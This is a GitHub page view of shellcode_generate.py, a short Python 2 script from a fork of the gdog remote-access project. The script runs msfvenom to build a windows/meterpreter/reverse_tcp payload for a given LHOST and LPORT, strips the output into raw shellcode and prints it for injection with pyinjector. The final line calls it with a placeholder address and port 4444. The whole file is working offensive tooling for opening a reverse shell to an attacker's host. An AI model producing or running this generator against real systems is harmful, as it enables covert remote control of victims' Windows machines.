forked from maldevel/gdog
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshellcode_generate.py
22 lines (20 loc) · 954 Bytes
/
shellcode_generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# quick script that generates the proper format for the shellcode to feed into pyinjector
# generates powershell payload from @trustedsec pyinjector
import subprocess,re
def generate_powershell_shellcode(payload,ipaddr,port):
# grab the metasploit path
msf_path = "/usr/local/share/metasploit-framework/"
# generate payload
proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s -a x86 --platform Windows EXITFUNC=thread -f python" % (msf_path,payload,ipaddr,port), stdout=subprocess.PIPE, shell=True)
data = proc.communicate()[0]
# start to format this a bit to get it ready
data = data.replace(";", "")
data = data.replace(" ", "")
data = data.replace("+", "")
data = data.replace('"', "")
data = data.replace("\n", "")
data = data.replace("buf=", "")
data = data.rstrip()
# base counter
print data
generate_powershell_shellcode("windows/meterpreter/reverse_tcp", "x.x.x.x", "4444")